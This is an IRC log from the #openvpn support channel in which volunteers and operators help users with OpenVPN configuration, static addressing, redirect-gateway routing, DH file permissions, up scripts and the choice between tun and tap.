06:36 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
06:36 -!- tharkun [~0@187.188.94.182] has joined #openvpn
06:45 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
06:46 -!- Rallias is now known as NotRallias
06:51 -!- tharkun [~0@187.188.94.182] has joined #openvpn
06:51 -!- midacts [~midacts@207.59.77.254] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- IRC with a difference]
06:52 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
06:55 -!- JSharpe [~JSharpe@90.205.250.10] has joined #openvpn
06:56 -!- tharkun [~0@187.188.94.182] has joined #openvpn
06:57 -!- midacts [~midacts@207.59.77.254] has joined #openvpn
07:00 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
07:01 -!- tharkun [~0@187.188.94.182] has joined #openvpn
07:07 -!- Martin` [martin@shell.ipv6.octocore.net] has quit [Ping timeout: 245 seconds]
07:12 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
07:15 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
07:16 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
07:16 -!- tharkun [~0@187.188.94.182] has joined #openvpn
07:18 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
07:25 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
07:28 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-cwfaedsjjsddfpoa] has joined #openvpn
07:31 -!- tharkun [~0@187.188.94.182] has joined #openvpn
07:36 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
07:36 -!- tharkun [~0@187.188.94.182] has joined #openvpn
07:38 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
07:38 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
07:38 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
07:38 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has quit [Quit: Computer has gone to sleep.]
07:49 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
07:53 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
07:53 -!- tharkun [~0@187.188.94.182] has joined #openvpn
07:53 -!- Martin` [martin@shell.ipv6.octocore.net] has joined #openvpn
07:56 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit [Ping timeout: 264 seconds]
08:04 -!- tharkun [~0@187.188.94.182] has quit [Read error: Connection reset by peer]
08:10 -!- tharkun [~0@187.188.94.182] has joined #openvpn
08:19 -!- Martin` [martin@shell.ipv6.octocore.net] has quit [Ping timeout: 245 seconds]
08:22 -!- JSharpe [~JSharpe@90.205.250.10] has quit [Ping timeout: 276 seconds]
08:26 -!- novaflash is now known as novaflash_away
08:28 -!- avb2 [~avb@190.122.126.194] has joined #openvpn
08:28 -!- avb [~avb@190.122.126.194] has quit [Read error: Connection reset by peer]
08:37 -!- cek [~cek@95.140.92.62] has joined #openvpn
08:37 < cek> hi. i'd like to listen both on udp and tcp. how?
08:38 < rob0> separate instances, separate network/pool addresses
08:39 -!- cjs226 [~cjs226@rrcs-108-178-108-179.sw.biz.rr.com] has joined #openvpn
08:45 < cek> well crap. i don't want to
08:45 < cek> maybe some sort of proxy that would funnel tcp traffic into udp?
08:46 < cek> isp's itchy with udp -- has big nat with very low udp timeout
08:47 < rob0> why are two instances a problem?
08:47 < cek> becuase of static ip addresses assigned to clients
08:47 < cek> which are sourced from ldap
08:47 < cek> long story.
08:53 < rob0> With a proper dynamic DNS setup, static IP addresses should not matter, just use the name.
08:55 -!- qmr [~qmr@50.116.18.140] has quit [Remote host closed the connection]
08:55 < vaillor> guys, why "redirect-gateway def1" doesn't work with "tls-client" ?
08:56 <+pekster> It does. Your question is about as useful as asking why the planet is flat
08:56 < vaillor> /proc/sys/net/ipv4/ip_forward is set to 0
08:57 < vaillor> on the openvpn server
08:57 < vaillor> but on the client, i'm navigating while connected to the vpn
08:57 < vaillor> so, that should mean that vpn is not redirecting traffic into vpn tunnel, or i'm wrong?
08:58 < rob0> pekster, why is the planet flat?
08:59 <+pekster> Because some people can't learn to think ;)
08:59 <+pekster> (better answers possibly available after I have more coffee ;)
08:59 -!- novaflash_away is now known as novaflash
09:01 -!- krantz [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has joined #openvpn
09:02 < vaillor> i used a main simply logic: /proc/sys/net/ipv4/ip_forward allows forwarding of the traffic, if it is set to 0, traffic shouldn't be forwarded, but internet on the client works, so the better answer is that client is not forwarding into the vpn
09:03 -!- devdel [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has quit [Ping timeout: 264 seconds]
09:11 -!- Martin` [martin@shell.octocore.net] has joined #openvpn
09:12 <@ecrist> does the client have --no-pull in the config?
09:13 <@ecrist> is there a firewall daemon on the server that's doing the forwarding, instead of the sysctl?
09:15 < vaillor> for the first question: "client" = "pull                  tls-client", so if i use only "tls-client" i should no pull anything from the server
09:16 < vaillor> for the second: iptables is installed
09:18 <@ecrist> !configs
09:18 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
09:18 <@ecrist> also
09:18 <@ecrist> !logs
09:18 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
09:19 <@ecrist> cek: you can share static address space between openvpn instances
09:20 < cek> ecrist, i'd better do socat tunnel
09:20 < cek> i just started 2 instances with same config and it didnt work
09:20 < cek> becuase of tun0 and tun1 having same ip addr
09:20 < cek> & routes
09:21 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
09:21 <@ecrist> you can't have two instances with the same config
09:22 < vaillor> http://pastebin.com/LwvWddq0
09:22 <@ecrist> you need two different dynamic pools, but you can have a third pool shared 
09:23 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
09:25 <@ecrist> vaillor: still need logs
09:27 < vaillor> ok
09:27 < vaillor> both sides?
09:27 <@ecrist> yup
09:28 <+pekster> Yes. Offhand, dse of --ifconfig like that by the client with --server is likely a mistake: see !static if you wish to use static addressing; that breaks if 9 clients connect and then the one with the statically defined IP connects, as 2 systems will then think they own that IP
09:28 <+pekster> use*
09:30 < vaillor> client side: http://nopaste.info/6d6703bd77.html
09:30 <@ecrist> this looks like an old log
09:31 < vaillor> it's about yesterday
09:32 < rob0> When the log dates are in B.C., you know it's old!
09:32 < vaillor> pekster, if --ifconfig shouldn't work with --server, i should get a configuration error while connecting, but thats not happens and connection works well, but not redirects
09:32 <@ecrist> vaillor: you DO get an error
09:32 <@ecrist> see line 322 of your client log
09:32 < vaillor> i need --server because not all the client are statically configured
09:33 < vaillor> somebody of them pull configuration
09:33 <+pekster> Not "shouldn't work" but "logical error" leading to the case I detailed for you, along with a reference you've thus far failed to read
09:33 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has quit [Quit: Computer has gone to sleep.]
09:33 <@ecrist> vaillor: overall, you seem to be doing everything wrong
09:33 <@ecrist> you're handling static IPs wrong, first
09:34 <@ecrist> second, you're handling route propagation wrong
09:34 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
09:35 < vaillor> ecrist, i figured 3 ways to do static ip, the first is ipp file, the second is dcc, but all of them need every single different client certificate, but i use the only one client certificate for every host
09:35 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has left #openvpn []
09:35 < vaillor> so this one should be perfect for me
09:35 <@ecrist> except it doesn't work
09:35 < vaillor> do you thing that the solution to my problem is configuring the server with tls-server and ifconfig?
09:35 <@ecrist> no
09:36 <@ecrist> I think you should be passing static IPs from ccd entries
09:36 < vaillor> it's what 322 line warning saids
09:36 <@ecrist> and using unique client certificates
09:36 <@ecrist> or, alternatively, using a --client-connect script with user/pass and pushing routes based on the username
09:37 < vaillor> can you give me some howto about this last one?
09:37 < vaillor> !auth
09:38 <@ecrist> !man
09:38 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
09:38 <@ecrist> you would need to write a script that used the client's username to push the ifconfig command to the client
09:38 -!- abrkn [~abkn@195.159.164.228] has joined #openvpn
09:38 <@ecrist> everything you need is covered in the man page
09:38 <@ecrist> but I don't have any interest writing it for you
09:39 < abrkn> i've locked myself out of my openvpn connect server (the ec2 admi). the username i remember does not have admin privileges. anything i can do but re-install the vpn server?
09:39 <+pekster> !as
09:39 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
09:40 -!- abrkn\ [~abkn@195.159.164.228] has joined #openvpn
09:40 -!- abrkn [~abkn@195.159.164.228] has quit [Read error: Connection reset by peer]
09:41 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 240 seconds]
09:44 <@novaflash> boop tee doo
09:44 < MrQuist> woop tee boop
09:46 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
09:48 -!- Hagabard [~hagabard@66-188-207-39.dhcp.roch.mn.charter.com] has quit [Ping timeout: 240 seconds]
09:49 < abrkn\> novaflash: http://gyazo.com/8bb380eda3d812d1cc5418627ca99d92 <-- oops?
09:49 <@vpnHelper> Title: 8bb380eda3d812d1cc5418627ca99d92.png (at gyazo.com)
09:50 < abrkn\> does the AS AMI by default enable key or password auth?
09:50 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 264 seconds]
09:51 <@novaflash> AS related questions in #openvpn-as please
09:51 < abrkn\> ah, wrong chan ty
09:51 -!- suprMan` [~clark_ken@109.161.155.67] has joined #openvpn
09:57 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-cwfaedsjjsddfpoa] has quit [Quit: Leaving]
10:02 -!- DragonDon [~DragonDon@unaffiliated/dragondon] has joined #openvpn
10:02 < DragonDon> greetings all
10:05 < DragonDon> i'm trying to get openvpn to run, it starts but then seems to immediately stop 2 seconds later (according to the auth.log)  any suggestions as to why? (LinuxMint)
10:05 -!- suprMan` [~clark_ken@109.161.155.67] has quit [Read error: Connection reset by peer]
10:05 < vaillor> ecrist, why do u think it's not a good solution using ifconfig?
10:06 <+pekster> vaillor: client-managed static IPs are rarely a good idea. No clue why you've apparently refused to read the !static reference that tells you how to do this properly, but I can't fix a refusal to learn/read
10:07 <+pekster> DragonDon: the logs should say why; use verb 4 if you're having issues starting openvpn and look at the logs for info/clues
10:07 < rob0> you could if the planet was flat
10:08 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
10:08 -!- avb2 [~avb@190.122.126.194] has quit [Read error: No route to host]
10:12 < DragonDon> pekster, where would I put the verb 4 syntax here? "sudo /etc/init.d/openvpn restart" ?  right before the restart?
10:12 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
10:12 <@ecrist> no
10:12 <@ecrist> in the config, or on the command line
10:12 <+pekster> !verb
10:12 < vaillor> Tue Jul 30 17:11:53 2013 us=453125 WARNING: 'ifconfig' is present in local config but missing in remote config, local='ifconfig 10.0.0.0 255.255.255.0'
10:12 <@vpnHelper> "verb" is (#1) verb command is for setting log verbosity, see --verb in the manual (!man) for more info or (#2) verb 5 is good for finding firewall problems, verb 4 for troubleshooting anything else, and 3 is good for every day usage.
10:12 < vaillor> it's wrong
10:13 < vaillor> it is also in the remote config
10:13 <@ecrist> vaillor: go away
10:13 < DragonDon> ok....having just asked that...., ecrist can you tell me where on the commandline?
10:13 <@ecrist> we've told you how to do this right, and you're refusing
10:13 < rob0> Don, see --verb in the manual
10:13 < vaillor> yes but i need to understand the things, log said that i need to put that line in the server config that already is in.
10:13 <+pekster> DragonDon: Config options can be placed either on the command-line or the config file; the manpage discusses this under the 'OPTIONS' section
10:14 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
10:14 <@ecrist> vaillor: you're doing it all wrong
10:14 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has left #openvpn []
10:14 <@ecrist> those errors are in responses to bits and pieces of the config, that error doesn't understand how fucked up your config really is
10:15 <@ecrist> and, really, that error probably is in context you're trying to build a point-to-point, static-key setup
10:17 < vaillor> ok, i fixed it
10:17 < vaillor> now i don't get warning anymore
10:17 < vaillor> but the problem of redirection remains
10:18 <@ecrist> !logs
10:18 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
10:18 < vaillor> client: http://nopaste.info/92127fa623.html
10:19 < vaillor> server: http://nopaste.info/4729acd378.html
10:19 <@ecrist> see line 329
10:19 <@ecrist> do you even read the logs?
10:21 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
10:21 < vaillor> ok
10:21 < vaillor> usually when i read logs, i'm searching for warning or errors, if none of them are present, i state that all goes well
10:21 <@ecrist> that's an error
10:21 < vaillor> probably it's a bad way for reading it
10:22 < vaillor> yes but is tagged with "NOTE:"
10:22 < DragonDon> ok, when I type "openvpn --verb 4" I get "Options error: You must define TUN/TAP device (--dev)"  but I have a server.conf file defined already "dev tap0"
10:23 <@ecrist> just put it in your config
10:23 <@ecrist> add the line "verb 4"
10:23 < DragonDon> it's already IN the conf file.  so is verb 3 actually.
10:23 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
10:23 -!- mode/#openvpn [+v s7r] by ChanServ
10:23 <@ecrist> you should only have one
10:24 < DragonDon> ??  never said I had two
10:24 <@ecrist> 10:23:32 < DragonDon> it's already IN the conf file.  so is verb 3 actually.
10:24 <@ecrist> you just did
10:24 < DragonDon> ...ok, confused...."should only have one" what?
10:24 <@ecrist> verb line in your config
10:24 <@ecrist> and it should be verb 4
10:24 < DragonDon> dude...there IS only one line....says 'verb 3' right now
10:25 <@ecrist> you implied you have both verb 3 and verb 4
10:25 <@ecrist> so, this sounds easy, change the 3 to a 4
10:25 < rob0> Maybe yes, if you want 4 change the 3 to 4.
10:25 < DragonDon> nope...the 'already is' refers to the dev tap0
10:26 < vaillor> ecrist, route-gateway needs arguments?
10:26 <+pekster> And if you ran `openvpn --verb 4` then it has no clue about your config file (you're apparently running this out of your distro's init system? it's doing a lot more than simply calling `openvpn` you know...)
10:26 < vaillor> !route
10:26 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
10:26 <@vpnHelper> behind the server or client
10:26 <@ecrist> vaillor: if you're not pushing redirect-gateway from the server, you need to provide all the options
10:26 <@ecrist> one of which is route-gateway
10:27 <@ecrist> the server expands that for you automatically
10:27 < DragonDon> https://help.ubuntu.com/community/OpenVPN actually has it running as a service....so it should be looking at that server.conf file already.
10:27 <@vpnHelper> Title: OpenVPN - Community Ubuntu Documentation (at help.ubuntu.com)
10:27 < vaillor> but in my case redirect-gateway shouldn't work because client is not set to pull anything, it's right?
10:29 <@ecrist> right
10:29 <@ecrist> as I've said, you're doing it all wrong
10:30 < vaillor> I start to think too
10:31 <@ecrist> about friggin time
10:31 < DragonDon> ok, so I got it to use the pre-defined config file.  Seems "Cannot open dh1024.pem for DH parameters" this is pretty relevant I suspect.
10:32 <@ecrist> do you have a dh1024.pem file?
10:33 <+pekster> DragonDon: how howto walks you through all the necessary setup steps, including the crypto setup. Chances are good you either missed the part about generating DH params, or didn't name the file as the config file expects
10:33 <+pekster> !howto
10:33 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
10:33 < DragonDon> ecrist, yes, it's in the same dir as the ca.crt and the server.conf file....
10:34 <+pekster> (or perhaps have a permission error accessing that file as the user openvpn is running as)
10:34 <@ecrist> does the openvpn process have read access to the files and dir?
10:35 < DragonDon> folder is set to root only access, same for dh1024.pem
10:36 <+pekster> Possibly an issue with the --cd option then if you're using relative paths: try absolute paths for the files
10:37 < DragonDon> looks like "sudo chown -R root:admin" is where the issue started maybe?  On the #linux or #mint channel, someone said I should be using adm and not admin.  when I tried admin, it would fail.
10:37 < DragonDon> there should be a "." there as well at the end
10:38 < DragonDon> "sudo chown -R root:admin ."
10:39 < rob0> ouch, why (and where) did you do that?
10:39 < DragonDon> https://help.ubuntu.com/community/OpenVPN
10:40 <@vpnHelper> Title: OpenVPN - Community Ubuntu Documentation (at help.ubuntu.com)
10:40 < DragonDon> step 3...
10:40 < rob0> Generally the distro has set the permissions and ownership on files the system uses as they need to be.
10:41 < rob0> or at least we hope so :)
10:42 < DragonDon> ok....so where does that leave me?  sounds like I have to correct what the howto told me to do?
10:43 <+pekster> That was mainly a reference if you haddn't generated the file. Accessing the file is specific to your distro (as filesystem permissions, possible use of SELinux or filesystem ACLs, etc are all outside the scope of openvpn itself)
10:44 < vaillor> ecrist, i solved
10:44 <+pekster> If the user you are launching openvpn as cannot `cat dh1024.pem` then you have an issue. If the path isn't accessible with the combination of --cd and --dh config options you're using isn't valid, it also won't work
10:44 < vaillor> pulling from server is not compulsory
10:44 < DragonDon> pekster, user can cat dh1024.pem
10:44 < vaillor> all i needed to do was adding route-gateway 10.0.0.1 in the client config
10:45 < vaillor> and now redirect well
10:45 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Ping timeout: 240 seconds]
10:46 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 245 seconds]
10:46 < DragonDon> pekster, so then in the server.conf, state the directories explicitly for the ca.crt(et all)?
10:47 <+pekster> That was my suggestion, yes
10:47 <+pekster> Or stop using your distro init scripts and just call the config directly as they have a nasty habbit of doing all sorts of extra crap like adding --pidfile --user --group --cd and possibly several other options you aren't aware of
10:48 <+pekster> All of that is well outside the scope of #openvpn and better directed to your distro's channels or reading the initscript code
10:48 < DragonDon> ok, will give that a shot.  thanks.
10:48 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
10:48 <+pekster> The file either 1) doesn't exist at the location you're specifying or 2) can't be accessed (and really, #1 implies #2 anyway)
10:49 < DragonDon> yeah....editing the conf file now.
10:51 < DragonDon> should openvpn need to be run as sudo?
10:52 -!- Hagabard [~hagabard@66-188-207-39.dhcp.roch.mn.charter.com] has joined #openvpn
10:53 <+pekster> Generally yes (given that network device manipulation and route management requires root or special user-granted OS capabilities) but you may see --user and --group in the manpage
10:53 < DragonDon> ok, thanks
10:53 <+pekster> Well, run as "root" -- sudo is a tool used to perform a task as another user (commonly root)
10:53 < DragonDon> so, "sudo su"?
10:54 <+pekster> That's a command to become root. You run openvpn as root; how you do that is completely up to you and openvpn doesn't care. For all it matters, log into a pty as root
10:54 < DragonDon> sorry, I mean "sudo su openvpn...."
10:55 <+pekster> That's not what you expect
10:55 <+pekster> Manpages for sudo and su would be a good place to start
10:55 < DragonDon> heh...didn't work any ways....was thinking of something else
10:55 < DragonDon> thanks
10:56 <+pekster> Basic OS usage questions are better directed to a channel specific to your distro; #openvpn deals with OpenVPN, not the basics of using a Unix-alike OS
10:59 < DragonDon> ok, I appreciate all the help so far.  getting further, but not quite there yet.
10:59 < DragonDon> "WARNING: Failed running command (--up/--down): external program exited with error status: 1"
10:59 < DragonDon> up.sh and down.sh are in the same folder, they are explicitedly called in the conf
11:00 <+pekster> Fairly straight-forward: you're using an --up script and it returned error code 1. This is a fatal problem that prevents openvpn from starting
11:02 < DragonDon> ok, trying to find out where I would find a description of that error code....
11:03 <+pekster> Your script?
11:04 < DragonDon> it's the one right from the howto, http://pastebin.com/khZzaXP1
11:04 < DragonDon> not much details in it
11:05 < DragonDon> that's the up.sh
11:05 <+pekster> That's not valid (the options aren't in that order)
11:06 <+pekster> see --up in the manpage, but $1 is the tap device, $2 is the tap MTU, and $3 is the *link* MTU (which isn't relevant when setting the device MTU)
11:06 < DragonDon> oook then....while I'd love to fire off an email to ubuntu an tell them that, I wouldn't have a clue what to tell them to fix it.
11:06 <+pekster> Don't use tap either
11:06 <+pekster> !tunortap
11:06 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
11:06 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
11:07 <+pekster> I have no clue either. Any "guide" you are using that's not provided by the official resources of the openvpn project may well contain errors; many of them are misleading, stupid, and/or flat out wrong
11:08 <+pekster> Use of tap is going to largely complicate your setup (such as needing to do OS-level bridging.) Don't use tap unless you have a valid use-case (and very few people do)
11:10 < DragonDon> ugh....ok, so much for trying to find a solution that wasn't overly complicated for me at this point....thanks.  it's 1am for me, beat my brain enough for a night.  I appreciate the help everyone has offered.
11:11 <+pekster> VPNs are complicated to start with as they're an advanced networking concept. The use of L2 bridging is even moreso
11:11 <+pekster> You should start with the *official* howto, not the (apparently broken) resources ubuntu's wiki provides
11:11 <+pekster> !howto
11:11 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
11:12 < DragonDon> yeah, at that howto right now actually....ahead of you by a second there :)
11:12 < DragonDon> maybe I'll give it another crack in the morning...
11:13 < DragonDon> thanks again
11:19 -!- fischli [~fischli@data.fischer-ing.de] has quit [Quit: Leaving.]
11:27 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Quit: Leaving]
11:30 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
11:33 -!- cyberspace- [20253@109.74.194.224] has quit [Remote host closed the connection]
11:36 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
11:46 <@ecrist> vaillor: I never said it was compulsory.  I specifically stated that if you DON'T push from the server, you needed to inlude the route-gateway
11:47 <@ecrist> 10:26:46 <@ecrist> vaillor: if you're not pushing redirect-gateway from the server, you need to provide all the options
11:47 <@ecrist> 10:26:52 <@ecrist> one of which is route-gateway
11:47 <@ecrist> 10:27:01 <@ecrist> the server expands that for you automatically
11:48 < vaillor> no "one of which", is the only one I need to make it work.
11:55 -!- JSharpe [~JSharpe@90.205.250.10] has joined #openvpn
11:56 <+pekster> The rest of which you provided
11:57  * pekster shrugs
12:02  * dazo wonders how long it takes before ecrist and pekster ignores vaillor too ...
12:02 <+pekster> I do sometimes
12:02 -!- Scub [~ae@shellie.darchoods.net] has quit [Ping timeout: 240 seconds]
12:03 <@ecrist> sometimes, I enjoy talking to ungrateful douche-bags
12:03 < vaillor> ignore is snobbish
12:03 -!- Scub [~ae@96.126.107.149] has joined #openvpn
12:07 <@dazo> heh ...  well, sometimes it can make a dull day a fun day, true :-p
12:09 <@ecrist> +b is righteous
12:10 <@dazo> :)
12:10 -!- Muffins [~nanderson@69.146.233.50] has joined #openvpn
12:22 -!- spielberg [~spielberg@199-193-113-145.static.hvvc.us] has joined #openvpn
12:22 < spielberg> anyone know of a way to have openvpn clients authenticate against a mysql database, web api, or python script?
12:23 <@ecrist> anything you can do with PAM, you can do with openvpn pretty easily
12:23 <@ecrist> outside that, you can manage it from a client-connect script
12:24 <@dazo> spielberg: I've written a plug-in which authenticates against an SQLite database ... and there's work-in-progress to support additional auth methods as well (also via a separate Python/Perl/whatever process) .... but it does far more than just authentication ... http://www.eurephia.net/
12:24 <@vpnHelper> Title: eurephia :: a flexible OpenVPN authentication module (at www.eurephia.net)
12:32 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 258 seconds]
12:32 -!- Linmu_ [~Linmu@203.70.194.104] has joined #openvpn
12:51 -!- russoisraeli [~Drsed@vpn10-client-a3.Princeton.EDU] has joined #openvpn
12:51 < russoisraeli> hello guys. I am trying to figure out what comes last "--up" or "--route-up". I need something that would execute last, after routes and DNS push...
12:58 -!- spielberg_ [~spielberg@199-193-113-145.static.hvvc.us] has joined #openvpn
12:59 -!- spielberg__ [~spielberg@199-193-113-145.static.hvvc.us] has joined #openvpn
13:00 -!- JackWinter [~jack@vodsl-10021.vo.lu] has quit [Ping timeout: 245 seconds]
13:00 -!- spielberg__ [~spielberg@199-193-113-145.static.hvvc.us] has quit [Client Quit]
13:00 -!- spielberg__ [~spielberg@199-193-113-145.static.hvvc.us] has joined #openvpn
13:00 -!- spielberg [~spielberg@199-193-113-145.static.hvvc.us] has quit [Ping timeout: 260 seconds]
13:00 -!- spielberg__ is now known as spielberg
13:01 -!- JackWinter [~jack@vodsl-10021.vo.lu] has joined #openvpn
13:03 -!- spielberg_ [~spielberg@199-193-113-145.static.hvvc.us] has quit [Ping timeout: 245 seconds]
13:06 -!- Sazpaimon [~wat@96.227.217.235] has joined #openvpn
13:07 -!- Sazpaimon_ [~wat@96.227.217.235] has quit [Read error: Connection reset by peer]
13:09 -!- spielberg_ [~spielberg@68-233-224-169.static.hvvc.us] has joined #openvpn
13:10 -!- spielberg [~spielberg@199-193-113-145.static.hvvc.us] has quit [Ping timeout: 256 seconds]
13:10 -!- spielberg_ is now known as spielberg
13:20 -!- igor__ [~Drsed@vpn10-client-a3.Princeton.EDU] has joined #openvpn
13:20 -!- igor__ [~Drsed@vpn10-client-a3.Princeton.EDU] has quit [Client Quit]
13:24 -!- russoisraeli [~Drsed@vpn10-client-a3.Princeton.EDU] has quit [Ping timeout: 264 seconds]
13:25 -!- igubenko [~Drsed@vpn10-client-a3.Princeton.EDU] has joined #openvpn
13:28 -!- jeev [~j@unaffiliated/jeev] has joined #openvpn
13:28 < jeev> oy, thinking about connecting a second office to a first office (both linux routers) using openvpn, then joining a second domain controller, has anyone does this ?
13:31 < igubenko> I've connected 3-4 offices over OpenVPN years ago
13:31 < igubenko> the consideration is whether it's a routed or bridged VPN
13:31 < igubenko> because Windows uses a lot of broadcast traffic
13:32 <@EugeneKay> !bridged
13:32 <@EugeneKay> !whybridge
13:32 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
13:32 <@EugeneKay> !tunortap
13:32 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against
13:32 <@vpnHelper> you over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
13:32 < igubenko> and with routed, broadcasts do not work, and file sharing is pretty slow as a result?. as for the domain controller, if it's recent AD - it's mostly DNS dependent, so as long as DNS works, you should be good
13:32 <@EugeneKay> !wins
13:33 <@vpnHelper> "wins" is http://oreilly.com/catalog/samba/chapter/book/ch07_03.html is a good link for seeing how to run WINS on samba
13:33 <@EugeneKay> Or use AD ;-)
13:33 -!- Sazpaimon_ [~wat@96.227.217.235] has joined #openvpn
13:33 <@EugeneKay> It's not that it's "slow", it ends up being faster with routed precisely BECAUSE you're not bridging. It's that name discovery won't work
13:33 -!- Sazpaimon [~wat@96.227.217.235] has quit [Read error: Connection reset by peer]
13:33 <@EugeneKay> Unless there's a (non-stupid) technical reason, use routing.
13:33 -!- dazo is now known as dazo_afk
13:35 < igubenko> It's been a while, on a 2.0.x OpenVPN, but I remember that even when querying by IP (\\IP\share), discovery was extremely slow
13:35 < igubenko> once connected, it was OK though
13:38 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 264 seconds]
13:39 < igubenko> Speaking of bridging?.. and non-stupid technical reasons. iTunes wifi/lan sync discovers devices on the same LAN. This won't work (at least for me) over a routed OpenVPN. Do you think that would work over bridged?
13:42 < igubenko> And a side question: Optimum/Cablevision (cable company in the U.S) allows watching TV via an app on an iPad. They however refuse to stream if you are on a remote network. Any idea if that could work, if one connected a from a remote network via OpenVPN with --redirect-gateway?
13:52 <+pekster> Probably, yes, although it depends how agressive the app is at seeing if you're on other networks (I kind of doubt that)
13:52 <+pekster> As for discovery, things like LAN broadcasts or multicast traffic will require a bridged VPN, yes
13:52 <+pekster> That's one of the few valid use-cases for bridging; the drawback is that it's more complicated to set up as bridging is OS/platform-specific
13:55 < igubenko> pekster - on fast networks (fiber optic - 30mbps/30 down/up), would the speed difference really matter between routed and bridged?
13:56 <+pekster> It's not about speed, but complexity
